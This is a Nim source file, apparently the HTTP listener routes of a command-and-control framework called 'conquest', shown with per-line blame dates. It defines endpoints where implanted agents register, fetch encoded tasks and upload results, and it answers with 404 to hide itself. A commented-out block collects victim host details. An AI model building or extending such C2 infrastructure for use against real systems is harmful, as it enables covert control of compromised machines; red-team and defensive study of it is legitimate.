2025-07-18 18:47:57 +02:00
|
|
|
import prologue, json, terminal, strformat
|
|
|
|
|
import sequtils, strutils, times, base64
|
2025-05-09 12:04:14 +02:00
|
|
|
|
2025-07-16 10:33:13 +02:00
|
|
|
import ./handlers
|
2025-07-18 18:47:57 +02:00
|
|
|
import ../[utils, globals]
|
2025-07-21 22:07:25 +02:00
|
|
|
import ../../common/[types, utils]
|
2025-07-18 18:47:57 +02:00
|
|
|
|
2025-05-13 23:42:04 +02:00
|
|
|
proc error404*(ctx: Context) {.async.} =
|
|
|
|
|
resp "", Http404
|
2025-05-09 12:04:14 +02:00
|
|
|
|
2025-05-12 21:53:37 +02:00
|
|
|
#[
|
2025-07-21 22:07:25 +02:00
|
|
|
POST /register
|
2025-05-12 21:53:37 +02:00
|
|
|
Called from agent to register itself to the conquest server
|
|
|
|
|
]#
|
|
|
|
|
proc register*(ctx: Context) {.async.} =
|
|
|
|
|
|
|
|
|
|
# Check headers
|
2025-07-21 22:07:25 +02:00
|
|
|
# If POST data is not binary data, return 404 error code
|
|
|
|
|
if ctx.request.contentType != "application/octet-stream":
|
2025-05-13 23:42:04 +02:00
|
|
|
resp "", Http404
|
|
|
|
|
return
|
2025-05-12 21:53:37 +02:00
|
|
|
|
2025-05-13 23:42:04 +02:00
|
|
|
try:
|
2025-07-21 22:07:25 +02:00
|
|
|
let agentId = register(ctx.request.body.toBytes())
|
|
|
|
|
resp "Ok", Http200
|
2025-05-12 21:53:37 +02:00
|
|
|
|
2025-05-13 23:42:04 +02:00
|
|
|
except CatchableError:
|
|
|
|
|
resp "", Http404
|
2025-05-12 21:53:37 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
# try:
|
|
|
|
|
# let
|
|
|
|
|
# postData: JsonNode = parseJson(ctx.request.body)
|
|
|
|
|
# agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
|
|
|
|
|
# agentUuid: string = generateUUID()
|
|
|
|
|
# listenerUuid: string = ctx.getPathParams("listener")
|
|
|
|
|
# date: DateTime = now()
|
|
|
|
|
|
|
|
|
|
# let agent: Agent = Agent(
|
|
|
|
|
# name: agentUuid,
|
|
|
|
|
# listener: listenerUuid,
|
|
|
|
|
# username: agentRegistrationData.username,
|
|
|
|
|
# hostname: agentRegistrationData.hostname,
|
|
|
|
|
# domain: agentRegistrationData.domain,
|
|
|
|
|
# process: agentRegistrationData.process,
|
|
|
|
|
# pid: agentRegistrationData.pid,
|
|
|
|
|
# ip: agentRegistrationData.ip,
|
|
|
|
|
# os: agentRegistrationData.os,
|
|
|
|
|
# elevated: agentRegistrationData.elevated,
|
|
|
|
|
# sleep: agentRegistrationData.sleep,
|
|
|
|
|
# jitter: 0.2,
|
|
|
|
|
# tasks: @[],
|
|
|
|
|
# firstCheckin: date,
|
|
|
|
|
# latestCheckin: date
|
|
|
|
|
# )
|
|
|
|
|
|
|
|
|
|
# # Fully register agent and add it to database
|
|
|
|
|
# if not agent.register():
|
|
|
|
|
# # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
|
|
|
|
|
# # Return a 404 error code either way
|
|
|
|
|
# resp "", Http404
|
|
|
|
|
# return
|
|
|
|
|
|
|
|
|
|
# # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
|
|
|
|
|
# resp agent.name
|
|
|
|
|
|
|
|
|
|
# except CatchableError:
|
|
|
|
|
# # JSON data is invalid or does not match the expected format (described above)
|
|
|
|
|
# resp "", Http404
|
|
|
|
|
|
|
|
|
|
# return
|
2025-05-09 12:04:14 +02:00
|
|
|
|
2025-05-12 21:53:37 +02:00
|
|
|
#[
|
|
|
|
|
GET /{listener-uuid}/{agent-uuid}/tasks
|
|
|
|
|
Called from agent to check for new tasks
|
|
|
|
|
]#
|
|
|
|
|
proc getTasks*(ctx: Context) {.async.} =
|
2025-05-09 12:04:14 +02:00
|
|
|
|
2025-05-22 20:03:22 +02:00
|
|
|
let
|
|
|
|
|
listener = ctx.getPathParams("listener")
|
|
|
|
|
agent = ctx.getPathParams("agent")
|
2025-07-18 14:24:07 +02:00
|
|
|
|
|
|
|
|
try:
|
2025-07-18 18:47:57 +02:00
|
|
|
var response: seq[byte]
|
2025-07-19 16:49:27 +02:00
|
|
|
let tasks: seq[seq[byte]] = getTasks(listener, agent)
|
2025-07-18 18:47:57 +02:00
|
|
|
|
|
|
|
|
if tasks.len <= 0:
|
|
|
|
|
resp "", Http200
|
|
|
|
|
return
|
|
|
|
|
|
|
|
|
|
# Create response, containing number of tasks, as well as length and content of each task
|
|
|
|
|
# This makes it easier for the agent to parse the tasks
|
|
|
|
|
response.add(uint8(tasks.len))
|
|
|
|
|
|
|
|
|
|
for task in tasks:
|
|
|
|
|
response.add(uint32(task.len).toBytes())
|
|
|
|
|
response.add(task)
|
|
|
|
|
|
|
|
|
|
await ctx.respond(
|
|
|
|
|
code = Http200,
|
|
|
|
|
body = response.toString()
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# Notify operator that agent collected tasks
|
|
|
|
|
{.cast(gcsafe).}:
|
|
|
|
|
let date = now().format("dd-MM-yyyy HH:mm:ss")
|
|
|
|
|
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.")
|
|
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
except CatchableError:
|
2025-05-22 20:03:22 +02:00
|
|
|
resp "", Http404
|
|
|
|
|
|
2025-05-12 21:53:37 +02:00
|
|
|
#[
|
2025-07-21 22:07:25 +02:00
|
|
|
POST /results
|
2025-05-12 21:53:37 +02:00
|
|
|
Called from agent to post results of a task
|
|
|
|
|
]#
|
|
|
|
|
proc postResults*(ctx: Context) {.async.} =
|
|
|
|
|
|
2025-05-22 20:03:22 +02:00
|
|
|
# Check headers
|
2025-07-19 16:49:27 +02:00
|
|
|
# If POST data is not binary data, return 404 error code
|
|
|
|
|
if ctx.request.contentType != "application/octet-stream":
|
2025-05-22 20:03:22 +02:00
|
|
|
resp "", Http404
|
|
|
|
|
return
|
|
|
|
|
|
|
|
|
|
try:
|
2025-07-19 16:49:27 +02:00
|
|
|
handleResult(ctx.request.body.toBytes())
|
2025-05-22 20:03:22 +02:00
|
|
|
|
|
|
|
|
except CatchableError:
|
|
|
|
|
resp "", Http404
|
|
|
|
|
|
|
|
|
|
return
|